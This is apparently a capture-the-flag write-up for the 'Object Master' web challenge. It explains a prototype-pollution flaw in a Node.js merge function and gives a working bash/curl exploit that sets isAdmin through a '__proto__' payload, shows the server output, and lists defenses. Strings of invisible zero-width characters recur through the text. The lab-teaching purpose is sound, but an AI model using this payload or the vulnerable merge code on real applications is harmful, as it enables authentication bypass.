← Back to Writeups
CUSTOMEasyWeb

Object Master

XESXOR9/10/20263 min read
#web#custom#easy#authentication-bypass-via-poll#jwt-token-based-session-manage#prototype-pollution-via-recurs#linux

Object Master

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Authentication bypass via polluted prototype, JWT token-based session management, Prototype Pollution via recursive merge function

Summary

Task: Node.js/Express app with custom Storage class and JWT authentication, need to access admin panel. Solution: Prototype Pollution via proto key in merge function to set isAdmin=true and bypass authentication check.

Object Master — hackerlab.pro

Description

Наши разработчики создали надежную систему авторизации и персональное хранилище для каждого пользователя. Они уверены в безопасности приложения и готовы поспорить, что никто не сможет получить доступ к административной панели. Сможете ли вы доказать обратное?

Target: http://62.173.140.174:16061

Analysis

The application is a Node.js/Express API with JWT authentication. Each user receives an instance of the Storage class for data storage.

Vulnerable Code (routes.js)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
class Storage {
    constructor() {
        this.data = {};
        this.prototype = Object.create(null);
    }

    merge(target, source) {
        for (let key in source) {
            if (key === '__proto__') {
                Object.assign(this.prototype, source[key]);
                continue;
            }
            // ... recursive merge
        }
        return target;
    }

    isAdmin() {
        return this.prototype.isAdmin === true;
    }
}

Vulnerability: Prototype Pollution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key problem is in the merge() method:

  1. When the __proto__ key is detected, the code executes:

    javascript
    Object.assign(this.prototype, source[key]);
  2. This allows direct modification of the Storage object's this.prototype

  3. The isAdmin() method checks this.prototype.isAdmin === true

  4. The /api/admin endpoint returns the flag if storage.isAdmin() returns true

Exploitation

By sending the payload {"__proto__": {"isAdmin": true}} to /api/store, we set this.prototype.isAdmin = true, which allows us to pass the check in isAdmin(). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Bash Exploit

bash
#!/bin/bash
TARGET="http://62.173.140.174:16061"

# 1. Register user
curl -s -X POST "$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","password":"pass"}'

# 2. Login and get JWT token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","password":"pass"}' | grep -o '"token":"[^"]*"' | cut -d'"' -f4)

echo "[*] Token: $TOKEN"

# 3. Prototype Pollution - set isAdmin = true
curl -s -X POST "$TARGET/api/store" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"__proto__": {"isAdmin": true}}'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "[*] Prototype polluted"

# 4. Access admin panel and get flag
FLAG=$(curl -s "$TARGET/api/admin" -H "Authorization: Bearer $TOKEN")
echo "[+] Flag: $FLAG"

Step-by-Step Execution

bash
# Register
$ curl -s -X POST "http://62.173.140.174:16061/api/register" \
    -H "Content-Type: application/json" \
    -d '{"username":"hacker","password":"pass"}'
{"message":"User registered successfully"}

# Login
$ curl -s -X POST "http://62.173.140.174:16061/api/login" \
    -H "Content-Type: application/json" \
    -d '{"username":"hacker","password":"pass"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Prototype Pollution
$ curl -s -X POST "http://62.173.140.174:16061/api/store" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer $TOKEN" \
    -d '{"__proto__": {"isAdmin": true}}'
{"message":"Data stored successfully"}

# Get flag
$ curl -s "http://62.173.140.174:16061/api/admin" \
    -H "Authorization: Bearer $TOKEN"
{"flag":"CODEBY{REDACTED}"}

Defense

To prevent Prototype Pollution:

javascript
// 1. Filter dangerous keys
const DANGEROUS_KEYS = ['__proto__', 'constructor', 'prototype'];
if (DANGEROUS_KEYS.includes(key)) continue;
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// 2. Use Object.create(null) for data storage
const safeObject = Object.create(null);

// 3. Use Map instead of plain objects
const storage = new Map();

// 4. Use libraries with protection (lodash.merge with option)

References